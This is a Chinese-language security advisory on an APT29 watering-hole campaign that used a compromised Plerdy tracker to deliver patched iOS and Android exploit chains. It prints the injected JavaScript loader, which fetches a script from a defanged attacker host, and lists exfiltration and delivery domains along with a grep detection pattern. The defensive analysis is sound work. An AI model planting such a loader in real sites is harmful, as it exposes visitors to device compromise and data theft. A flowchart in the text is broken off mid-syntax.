APT29 水坑攻击利用移动端 n-day 漏洞 (CVE-2024-27834)
APT29 入侵 Plerdy 脚本和合法网站,下发已修复的 iOS 与 Android 攻击链;CISA 将一个链上 CVE 加入 KEV。
TL;DR
- APT29 入侵了合法网站和乌克兰分析服务 Plerdy,向访问者下发已修复的 iOS 和 Android 攻击链。Sekoia 于 2026 年 11 月 4 日发布调查。
- 未修复的 iPhone、iPad 或 Android 手机访问者可能在无交互的情况下被利用。安装了修复版系统和浏览器的设备不受影响。
- CISA 于 2026 年 11 月 4 日将 iOS 指针认证绕过漏洞 CVE-2024-27834 加入 Known Exploited Vulnerabilities(KEV)目录,联邦期限为 2026 年 11 月 18 日。其他链上 CVE 早已在 KEV 中。
- 更新所有 iPhone、iPad 和 Android 设备;未修复设备访问受影响网站后,应视为可能已被入侵。参见“如何修复?”。
我受影响吗?
以下条件全部成立时,你才会受影响:
- 你使用的设备在 2026 年 8 月 27 日之后、攻击活动基础设施仍在线期间,访问过受影响网站或任何加载被入侵 Plerdy 跟踪器的网站。
- 设备运行本页表格中任一易受攻击的版本。投递服务器根据它看到的浏览器和系统版本选择攻击链。
- 设备未安装该链对应的厂商修复。链上所有漏洞均在攻击活动开始前修复,因此已更新的设备不受影响。
这是一次水坑攻击。攻击者无需知道谁访问了网站,访问者也无需点击、下载或批准任何内容。Sekoia 以中等至较高置信度评估认为,也被称为 Midnight Blizzard 或 Cozy Bear 的 APT29 实施了此次攻击。
| 链 | 平台与版本 | 使用的 CVE | 修复版本 |
|---|---|---|---|
| A | iOS 16.0 至 16.7.7,或 17.0 至 17.4 | CVE-2025-43529、CVE-2024-27834 | iOS 16.7.8 和 iPadOS 16.7.8,或 iOS 17.5 和 iPadOS 17.5(仅修复 CVE-2024-27834;CVE-2025-43529 在 iOS 18.7.3 和 26.2 中修复) |
| B | 18.x 系列低于 18.7.3,或 iOS 26 系列低于 26.3 | CVE-2025-43529、CVE-2026-20700、CVE-2025-14174、CVE-2025-43510、CVE-2025-43520 | iOS 26.3 和 iPadOS 26.3 修复全部五个。在 18.x 系列,iOS 18.7.3 和 iPadOS 18.7.3 修复除 CVE-2026-20700 外的所有漏洞;截至 2026 年 11 月 5 日,Apple 未在 18.x 上修复 CVE-2026-20700 |
| C | Android Chrome 139.0.0.0 至 145.0.0,143 除外 | CVE-2026-3910、CVE-2025-27038 | Chrome 146.0.7680.75 或更高版本,以及包含 Adreno 修复的设备厂商更新 |
检查每台设备运行的版本:
# iOS and iPadOS: Settings > General > About > iOS Version
# Android: Chrome > Settings > About Chrome, or open chrome://version
网站所有者面临另一种暴露。检查页面是否仍加载跟踪器或注入的脚本:
# Search templates and JavaScript bundles for the campaign domains
grep -R -i -E 'a\.plerdy\.com|flux-telemetry|clouds-stacks|ads-it-assets|adv-static|wpvortex-mod|assets-int|starx-net' /var/www/html
Plerdy 跟踪器本身在为期一周的入侵后被清理。仍包含注入片段的页面属于该网站自身的入侵,而非跟踪器。
如何修复?
- 将所有 iPhone 和 iPad 更新至 iOS 18.7.3 或 iOS 26.3 及更高版本。无法运行这些版本的设备至少需要 iOS 16.7.8 或 17.5,它们通过修复 CVE-2024-27834 封堵 A 链。但 WebKit 漏洞 CVE-2025-43529 仅在 iOS 18.7.3 和 26.2 中修复,这些设备上仍然存在。设备支持时优先选择 iOS 26.3,因为 Apple 未在 18.x 系列上修复 CVE-2026-20700。
- 将所有 Android 设备的 Chrome 更新至 146.0.7680.75 或更高版本。C 链还需要 Adreno 显卡驱动修复;安装包含该修复的设备厂商安全更新。Qualcomm 于 2025 年 6 月发布 CVE-2025-27038。
- 如果设备在未修复时访问过受影响网站,应视为已被入侵。更换该设备上使用过的所有账户的密码和会话,并检查其消息、照片和云备份是否有你不认识的访问记录。
- 网站所有者应移除注入片段并检查网站的模板和 JavaScript 文件。Sekoia 的报告称其私下共享了指标,因此网站所有者还应根据“如何检查是否已遭入侵?”中列出的投递域名检查服务器日志。
设备端没有配置层面的缓解措施。攻击链只需要浏览器渲染页面,禁用 JavaScript 也会阻断网站的正常内容。更新设备才是修复。
对于依赖 Plerdy 的网站,厂商在入侵后清理了跟踪器。没有公开公告给出修复后的跟踪器版本,因此应检查渲染后页面的源代码,而不是依赖版本号。
根本原因是什么?
攻击活动的根本原因是能触达页面每位访问者的投递链,以及未安装数月前已发布补丁的手机。
Sekoia 发现了三种投递途径。第一种是向被入侵网站的模板或现有库直接注入 JavaScript。第二种是两个仿冒域名 america250[.]holiday 和 theowo[.]club,它们反向代理真实网站并实时改写其 HTML。第三种是对 a.plerdy[.]com 上 SEO 跟踪器 Plerdy 的供应链入侵,数千个网站加载该跟踪器,其中大多数位于乌克兰。2026 年 8 月 27 日至 9 月 3 日期间,该跟踪器同时提供合法脚本和注入的加载器。
注入的代码很短。以下是 Sekoia 从 Plerdy 文件中恢复并反混淆的加载器:
window.onload = function () {
const s = document.createElement("script");
s.src = "hxxps://edge-ord.clouds-stacks[.]com/module/5b4c8fea5cbcee273e8d830f52-temfp.js";
document.body.appendChild(s);
};
加载的文件是“UltimateFingerprinter”,一个 2.3 MB 的脚本,将其代码追加到压缩后的 AngularJS 库中。Sekoia 称该库是死代码,约占文件的 98%,这种手法可能绕过大型语言模型的分析,或让文件看起来像已知库。该脚本从 61 个浏览器和设备收集器收集 394 个字段,并发送到投递主机。主机返回适合该平台的利用代码。
指纹几乎不影响下发哪条链。Sekoia 只发现三个字段可以阻止投递:不合理的屏幕宽度或高度,以及非触屏设备。其余数据被收集,但不用于选择利用方式。
每条链都是一组已修复的漏洞。A 链使用 Apple 于 2025 年 12 月修复的 WebKit 释放后使用漏洞 CVE-2025-43529,以及 Apple 于 2024 年 5 月修复的指针认证绕过 CVE-2024-27834。B 链是 DarkSword 工具包,串联 WebKit 远程代码执行、指针认证绕过、两次沙箱逃逸和内核读写原语。C 链使用 Chrome V8 引擎中的 CVE-2026-3910 和 Qualcomm Adreno 显卡驱动中的 CVE-2025-27038。
如何被利用?
- 目标访问被入侵的网站、仿冒域名或任何加载 Plerdy 跟踪器的网站。
- 页面加载注入的加载器,从投递基础设施获取指纹脚本。
- 脚本将设备指纹发送到投递主机。主机根据上报的平台和浏览器版本选择攻击链,并返回 JavaScript。
- A 链执行 CVE-2025-43529 在 WebKit 渲染器中获得代码执行,然后执行 CVE-2024-27834 绕过指针认证。它从应用容器读取
Cookies.binarycookies,并将 Cookie 发送到窃取服务器。 - B 链运行 DarkSword 各阶段:WebKit 远程代码执行、指针认证绕过、两次沙箱逃逸和内核原语。随后收集消息、邮件、联系人、通话记录、照片、钥匙串条目、账户数据和 Wi-Fi 密码。
- C 链在 Chrome 渲染器中执行 CVE-2026-3910,然后在 Adreno 驱动中执行 CVE-2025-27038 以逃出沙箱。它读取 Chrome 的 Cookie、保存的登录信息和历史记录,以及 Android 的 Wi-Fi 配置存储。
三条链的最终窃取端点都是 hxxps://ad.starx-net[.]com:8881/telemetry/v12。iOS 链设置名为 VDGH_TOKEN_REF 的标记 Cookie,避免同一浏览器被感染两次。Cookie 有效期的一个缺陷使其在一分钟后而非一天后过期,因此只能阻止非常快速的再次感染。
攻击如何展开?
攻击者将一次网站访问转化为未修复手机上的代码执行,然后窃取 Cookie 或设备数据。
394个字段"] C --> D["投递主机选择链
无需交互"] D --> E["WebKit或Chrome远程代码执行
已修复"] E --> F["PAC绕过或沙箱逃逸
已修复"] F --> G["窃取Cookie或收集全部数据"] G --> H["窃取至ad.starx-net"]
攻击者能做什么?
影响取决于投递主机选择的链。
A 链在 iOS 16.0 至 16.7.7,或 17.0 至 17.4 上窃取 Safari 和应用容器中的 Cookie。Sekoia 的分析称,当应用正在运行时,收集器可以读取 Safari 之外的 Cookies.binarycookies 文件,然后发送到窃取服务器。被盗的会话 Cookie 可让攻击者在会话过期或被撤销前,无需密码打开同一账户。
B 链收集设备数据。Sekoia 列出它收集的数据,包括:
- 短信和 iMessage、邮件索引、语音信箱。
- WhatsApp 和 Telegram 数据库。
- 钥匙串密码和令牌、账户数据。
- 联系人、通话记录、日历、备忘录。
- Safari 历史记录和 Cookie、位置缓存。
- 健康数据、照片库和 iCloud Drive。
B 链需要 18.x 系列低于 18.7.3、或 iOS 26 系列低于 26.3 的 iPhone 或 iPad。
C 链窃取 Chrome 的 Cookie、保存的登录信息和历史记录,以及 Android 的 Wi-Fi 配置存储。它需要 139 至 145 之间且不是 143 的 Chrome 版本。如果设备识别为 Samsung Galaxy S25 Ultra,则停止。
三条链都需要目标使用未修复的设备并访问受影响页面。它们不需要点击、下载、密码或第二个应用。已更新的设备不会被其中任何一条利用,因为所有漏洞都在攻击活动开始前修复。
为什么修复有效?
修复是厂商更新,而不是攻击活动本身的改变。每条链依赖特定的未修复内存安全漏洞,厂商更新移除了链所需的原语。
CVE-2024-27834 是最清楚的例子。Apple 的记录称该问题“通过改进检查得到解决”,该漏洞让“具有任意读写能力”的攻击者绕过指针认证。Apple 于 2024 年 5 月 13 日在 iOS 16.7.8、iPadOS 16.7.8、iOS 17.5、iPadOS 17.5、macOS Sonoma 14.5、tvOS 17.5、watchOS 10.5 和 Safari 17.5 中修复。A 链在 2026 年仍使用该漏洞,因为它针对从未安装 2024 年更新的设备。
其他链上 CVE 情况相同。CVE-2025-43529 于 2025 年 12 月修复,CVE-2026-20700 于 2026 年 2 月在 iOS 26.3 中修复。直到 iOS 18.7.11,Apple 都未为 18.x 系列发布 CVE-2026-20700 的修复。在 18.x 上,iOS 18.7.3 修复了链的 WebKit 入口漏洞 CVE-2025-43529 和 CVE-2025-14174,从而切断该链。
CVE-2026-3910 在 Chrome 146.0.7680.75 中修复,CVE-2025-27038 在设备厂商于 2025 年 6 月之后发布的 Adreno 驱动更新中修复。Sekoia 未在任何链中发现零日漏洞。面对完全更新的设备,攻击者无法通过该活动得手。
修复对链所使用的漏洞是完整的。它不会从被入侵网站移除注入脚本,也不会清理在更新前已被利用的设备。因此入侵检查需要单独进行。
如何检查是否已遭入侵?
从网络开始,因为设备端的痕迹有限。
- 在网络代理、DNS 和防火墙日志中搜索对
static.flux-telemetry[.]com、edge-ord.clouds-stacks[.]com、ads-it-assets[.]com、cdn.adv-static[.]com、wpvortex-mod[.]com、assets-int[.]com和ad.starx-net[.]com的请求。匹配时不区分大小写。 - 在受管理的 iOS 设备上,检查已安装的配置描述文件和受影响期间的 Safari 历史记录。不是你安装的描述文件是线索,不是证据。
- 在 Android 上,检查 Chrome 历史记录和设备安全补丁级别,并与列出 CVE-2025-27038 的 Adreno 修复的厂商公告比较。
Sekoia 未公开完整指标集,包括 YARA 规则和被入侵网站列表,仅在 TLP:AMBER 下提供给各国 CERT 和执法机构。没有公开指标能证明某台设备已被利用。失败的尝试可能不留痕迹,iOS 链在窃取后不会从设备删除任何内容。
时间线
- 2024-05-13:Apple 在 iOS 16.7.8、iPadOS 16.7.8、iOS 17.5 和 iPadOS 17.5 中修复 CVE-2024-27834。
- 2025-12-17:Apple 发布 CVE-2025-43529,并在 iOS 18.7.3、iPadOS 18.7.3、iOS 26.2 和 iPadOS 26.2 中修复。Apple 未为 iOS 16 或 17 发布修复。
- 2026-03-12:Google 发布 CVE-2026-3910,在 Chrome 146.0.7680.75 中修复。
- 2026-08-27 至 2026-09-03:
a.plerdy[.]com上的 Plerdy 跟踪器提供注入的加载器。 - 2026-10:Sekoia 的威胁检测与研究团队开始调查并识别该活动。
- 2026-11-04:Sekoia 发布报告,CISA 将 CVE-2024-27834 加入 KEV,期限为 2026-11-18。
常见问题
这是零日攻击活动吗?
不是。Sekoia 在三条链中均未发现零日漏洞,所有漏洞在攻击活动开始前已修复。该活动只对未安装这些修复的设备有效。
哪些设备受影响?
完整数据收集链影响 18.x 系列低于 18.7.3、或 iOS 26 系列低于 26.3 的 iPhone 和 iPad;Cookie 窃取链影响 iOS 16.0 至 16.7.7,或 17.0 至 17.4;Chrome 和 Wi-Fi 链影响运行 139 至 145 且不是 143 的 Chrome 的 Android 手机。安装了修复版本的设备不受影响。
访问一次网站就会感染手机吗?
只有当设备未修复且投递服务器为其选择了攻击链时才会。攻击链无需点击或下载即可运行。已修复的设备不会收到可用的利用代码。
Plerdy 跟踪器仍然恶意吗?
不是。入侵持续到 2026 年 9 月 3 日,Sekoia 称该跟踪器在那周之后已被清理。仍包含注入片段的网站需要调查其自身的入侵。
为什么 CISA 只将 CVE-2024-27834 加入 KEV?
CISA 于 2026 年 11 月 4 日加入指针认证绕过,联邦期限为 2026 年 11 月 18 日。其他七个链上 CVE 早已在 KEV 中:CVE-2025-27038(2025-06-03 加入)、CVE-2025-14174(2025-12-12)、CVE-2025-43529(2025-12-15)、CVE-2026-20700(2026-02-12)、CVE-2026-3910(2026-03-13),以及 CVE-2025-43510 和 CVE-2025-43520(2026-03-20)。
该活动仍在进行吗?
Sekoia 于 2026 年 11 月 4 日发布报告,并表示正与各国 CERT 协调以干扰基础设施。报告未说明活动已经停止。
参考文献
- Sekoia TDR,"Poisoned Source: APT29 watering holes target mobile devices with n-day exploits":https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits(2026 年 11 月 5 日检查)
- CISA,"CISA Adds One Known Exploited Vulnerability to Catalog",2026 年 11 月 4 日:https://www.cisa.gov/news-events/alerts/2026/11/04/cisa-adds-one-known-exploited-vulnerability-catalog(2026 年 11 月 5 日检查)
- CISA,Known Exploited Vulnerabilities 目录:https://www.cisa.gov/known-exploited-vulnerabilities-catalog(2026 年 11 月 5 日检查)
- CVE-2024-27834 记录:https://www.cve.org/CVERecord?id=CVE-2024-27834(2026 年 11 月 5 日检查)
- CVE-2025-43529 记录:https://www.cve.org/CVERecord?id=CVE-2025-43529(2026 年 11 月 5 日检查)
- CVE-2025-27038 记录:https://www.cve.org/CVERecord?id=CVE-2025-27038(2026 年 11 月 5 日检查)
- CVE-2026-3910 记录:https://www.cve.org/CVERecord?id=CVE-2026-3910(2026 年 11 月 5 日检查)